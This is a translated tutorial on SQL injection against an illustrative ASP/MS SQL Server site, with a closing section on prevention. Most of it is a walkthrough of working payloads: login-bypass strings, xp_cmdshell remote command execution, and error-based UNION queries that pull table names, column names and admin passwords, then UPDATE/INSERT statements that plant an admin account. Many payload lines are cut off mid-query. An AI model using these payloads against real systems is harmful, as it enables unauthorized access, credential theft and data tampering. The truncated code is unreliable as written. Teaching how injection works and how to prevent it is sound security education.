# Learn about SQL Injection and how to prevent it

SQL Injection is one of the types of web hacking by injecting SQL query / command codes into input before transferring to the web application, you can login without a username and password, remote execution (remote execution), dump data and retrieve the root of SQL server.

SQL Injection is no longer a new concept, but it is still one of the most common types of network attacks. This article consists of 12 entries, going from the concept, steps of taking SQL Injection with an illustrative example (the website used as an example is only an illustration, not real) to how to prevent SQL Injection attacks to Readers understand this way of attack, thereby taking measures to prevent and protect their website and system.

**Note:** Do not try to attack websites, systems of other individuals and organizations by this method, all such acts are in violation of Vietnamese law. If you find a security vulnerability, tell the website administrator, that system to fix it. The article is only intended to help you understand the type of attack and take precautions for your web application.

## Learn about SQL Injection



## 1. What is SQL Injection?

SQL Injection is one of the types of web hacking by injecting SQL query / command codes into input before transferring to the web application, you can login without a username and password, remote execution (remote

execution), dump data and retrieve the root of SQL server. The attack tool is any web browser, such as Internet Explorer, Netscape, Lynx, .

# Post labs SQL Injection

You can visualize the entire attack process with SQL Injection through a simple SQL injection lab below. The lab article will give an example of an application with a vulnerability to using SQL Injection, you just need to follow the steps in the tutorial to perform this type of attack.

After doing labs, you have the basic visualization of SQL Injection, but if you want to understand more and more details, please read the next specific analysis offline.

# 2. Steps to conduct SQL Injection

## 2.1. Search for goals

You can find websites that allow data submission in any web search engine, such as login, search, feedback, . pages.

*For example* :

```
http://yoursite.com/index.asp?id=10
```

Some web pages pass parameters through hidden fields, to see the HTML code clearly. For example, below.

## 2.2. Check the site's weaknesses

Try submitting the username, password or field id, . by hi 'or 1 = 1--

```
Login: hi' or 1=1--
Password: hi' or 1=1--
http://yoursite.com/index.asp?id=hi' or 1=1--
```

If the site passes the parameter through the hidden field, download the HTML source, save it on the hard disk, and change the URL accordingly. For example:

If successful, you can login without knowing the username and password

## 2.3. Why 'or 1 = 1-- can pass the login check?

Suppose there is an ASP page linking to another ASP page with the following URL:

```
http://yoursite.com/index.asp?category=food
```

In the above URL, the variable ' ***category*** ' is set to ' ***food*** '. The ASP code of this page may look like this (this is just an example):

```
v_cat = request("category")
sqlstr="SELECT * FROM product WHERE PCategory='" & v_cat & "'"
set rs=conn.execute(sqlstr)
```

v_cat will contain the value of the request variable ("category") as ' ***food*** ' and the next SQL statement will be:

```
SELECT * FROM product WHERE PCategory='food'
```

The query line will return a resultset set containing one or more lines matching the WHERE PCategory = 'food' condition.

If changing the URL on http://yoursite.com/index.asp?category=food 'or 1 = 1--, the variable v_cat will contain the value "food' or 1 = 1--" and the SQL query command line will:

```
SELECT * FROM product WHERE PCategory='food' or 1=1--'
```

The query line will select everything in the product table regardless of whether the value of the PCategory field is equal to 'food'. Two dashes (-) only tell MS SQL server that the query line has run out, everything left after "-" will be ignored. For MySQL, replace "-" to "#"

Alternatively, you can try another way by submitting 'or' a '=' a. The SQL query line will now be:

```
SELECT * FROM product WHERE PCategory='food' or 'a'='a'
```

Some other types of data that should also be submitted to find out if the site has an error:

```
' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a
```

## 2.4. Execute remote commands with SQL Injection

If installed with the default mode without any modification, MS SQL Server will run at the SYSTEM level, equivalent to the Administrator access level on Windows. You can use store procedure ***xp_cmdshell*** in the ***master*** database to execute the remote command:

```
'; exec master.xp_cmdshell 'ping 10.10.1.2'--
```

Try using double quotes (") if single quotes (') do not work.

The semicolon (which will end the current SQL query and allow execution of a new SQL command. To check if the above command is executed, it is possible to listen to the ICMP packets from 10.10.1.2 with tcpdump as follows:

```
#tcpdump icmp
```

If you receive a ping request from 10.10.1.2, the command has been executed.

## 2.5. Get output of SQL query

You can use sp_makewebtask to write the output of SQL query to an HTML file

```
'; EXEC master.sp_makewebtask "10.10.1.3shareoutput.html", "SELECT * FROM INFORMA
```

*Note* : " ***share*** " folder must be shared for Everyone first.

## 2.6. Get data via *'database using ODBC error message* '

MS SQL Server error messages often give you important information. For example, above http://yoursite.com/index.asp?id=10, we now try the integer '10' merge with another string taken from the database:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATIC
```

SQL Server's INFORMATION_SCHEMA.TABLES table contains information about all tables (tables) available on the server. The TABLE_NAME field contains the name of each table in the database. We choose it because we know that it always exists. Our query is:

```
SELECT TOP 1 TABLE_NAME FROM INFORMATION_SCHEMA.TABLES--
```

This query will return the name of the first table in the database

When we combine this string with integer number 10 via the UNION statement, MS SQL Server will try to convert a string (nvarchar) into an integer number. This is an error if the nvarchar is not converted to int, the server will show the following error message:

```
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarch

'table1' to a column of data type int.
/index.asp, line 5
```

The above error message indicates the value you want to convert to integer but cannot, " ***table1*** ". This is also the name of the first table in the database that we want to have.

To get the name of the name of the next table, you can use the following query:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATIC
```

It is also possible to try to find data by passing the LIKE statement of the SQL statement:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 TABLE_NAME FROM INFORMATIC
```

Then the SQL Server error message may be:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarch

 /index.asp, line 5
```

The comparison model '% 25login% 25' will be equivalent to% login% in SQL Server. As seen in the above error message, we can determine the name of an important table " ***admin_login*** ".

## 2.7. Specify the names of the columns in the table

Table INFORMATION_SCHEMA.COLUMNS contains the names of all columns in the table. Can be exploited as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATI
```

Then the SQL Server error message may be as follows:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarch

 /index.asp, line 5
```

So the first column name is " ***login_id*** ". To get the names of the next columns, it is possible to use the NOT IN () logical clause as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATI
```

Then the SQL Server error message may be as follows:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarch

 /index.asp, line 5
```

In the same way, you can get the remaining column names like " ***password*** ", " ***details*** ". Then we take the names of these columns through SQL Server error messages, as in the following example:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATI
```

Then the SQL Server error message may be as follows:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e14'

[Microsoft][ODBC SQL Server Driver][SQL Server]ORDER BY items must appear in the

 /index.asp, line 5
```

## 2.8. Collect important data

We have identified the names of important tables and columns. We will collect important information from these tables and columns.

You can get ***login_name*** first in the " ***admin_login*** " table as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 login_name FROM admin_logi
```

Then the SQL Server error message may be as follows:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarch

 /index.asp, line 5
```

It is easy to recognize the first user admin with login_name as "anchor". Try taking the password of "anchor" as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
```

Then the SQL Server error message may be as follows:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarch

 /index.asp, line 5
```

And now it is possible to login with the username " ***anchor*** " and password " ***m4trix*** ".

## 2.9. Get numeric string

There is a small limitation to the above method. We cannot receive error messages if the server can convert text correctly in the form of numbers (the text contains only numeric characters from 0 to 9). Suppose the password for " ***trinity*** " is " ***31173*** ". So if we execute the following command:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 password FROM admin_login
```

Then only " *Page Not Found* " error message is received. The reason is because the server can convert the " ***31173*** " passcode to a digital form before UNION with integer 10. To solve this problem, we can add a few alphabetic characters to this numeric string to fail the conversion. from server to number text. The new query line is as follows:

```
http://yoursite.com/index.asp?id=10 UNION SELECT TOP 1 convert(int, password%2b'
```

We use the plus sign (+) to append text to the password (the ASCII code of '+' is 0x2b). We add the string *'(space) morpheus'* to the end of the password to create a new string, not the numeric string *'31173 morpheus'* . When convert () function is called to convert *'31173 morpheus'* to integer, SQL server will issue the following ODBC error message:

```
 Microsoft OLE DB Provider for ODBC Drivers error '80040e07'

[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the nvarch

 /index.asp, line 5
```

And that means we can now login with username ' ***trinity*** ' and password as ' ***31173*** '.

## 2.10. Change data (Update / Insert) of the database

Once you have the names of all the columns in the table, you can use the UPDATE or INSERT statements to modify / create a record in this table.

To change the password of " ***anchor*** ", you can do the following:

```
http://yoursite.com/index.asp?id=10; UPDATE 'admin_login' SET 'password' = 'newpa
```

Or if you want a new record in the table:

```
http://yoursite.com/index.asp?id=10; INSERT INTO 'admin_login' ('login_id', 'logi
```

And now can login with username " ***neo2*** " and password as " ***newpas5*** "

# 3. Prevent SQL Injection

Organizations can focus on the following steps to protect themselves from SQL Injection attacks:

1. Never trust user input: Data must always be authenticated before being used in SQL statements.
2. Stored Procedures: These procedures can abstract SQL statements and consider the entire input as parameters. As a result, it cannot affect the SQL command syntax.
3. Prepared commands: This includes creating the SQL query as the first action and then processing all sent data as parameters.
4. Common phrases: These phrases are used to detect malicious code and remove it before the SQL statement is executed.
5. Correct error message: The error message must absolutely avoid disclosing sensitive information / details and the location of the error on the error message.
6. Limit user access to the database: Only accounts with the required access are connected to the database. This can help minimize the SQL commands that are executed automatically on the server.
7. Please remove the meta characters like '"/; and extend characters like NULL, CR, LF, . in the strings received from:
    1. input submitted by the user
    2. parameters from URL
    3. values ??from cookies
8. For numeric values, convert it to integer before querying SQL, or use ISNUMERIC to make sure it is an integer number.
9. Changing " *Startup and run SQL Server* " uses the *low privilege user level* in the SQL Server Security tab.
10. Delete the stored procedures in the database ***master*** without using:
    1. xp_cmdshell
    2. xp_startmail
    3. xp_sendmail
    4. sp_makewebtask

## Prevent SQL Injection in ASP.NET

The SQL Injection blocking methods shown in Part 12 cover all the methods, but in ASP.NET there is a simple way to stop using Parameters when working with the SqlCommand object (or OleDbCommand) rather than using direct SQL statements. At that time, .NET will automatically validate data types and data contents before executing SQL statements.

In addition, error control messages are also needed. And the default in ASP.NET is that the error message will not be notified in detail when not running on localhost.

# 4. Reference materials


1. How I hacked PacketStorm (Rain Forest Puppy) http://www.wiretrip.net/rfp/p/doc.asp?id=42&iface=6
2. Bài vi?t v? thông tin thông tin t? ODBC l?i thông báo
   http://www.blackhat.com/presentations/win-usa-01/Litchfield/BHWin01Litchfield.doc
3. A Summary good c?a các gói SQL cho SQL Server trên
   http://www.owasp.org/asac/input_validation/sql.shtml
4. Senseport article on reading SQL Injection http://www.sensepost.com/misc/SQLinsertion.htm
5. Other:
   http://www.digitaloffense.net/warga./IOWargames.ppt
   http://www.wiretrip.net/rfp/p/doc.asp?id=7&iface=6
   http://www.wiretrip.net/rfp/p/doc.asp?id=60&iface=6


***Collect on the Internet from the article translated*** from xfocus.net's original " **SQL Injection Walkthrough** " article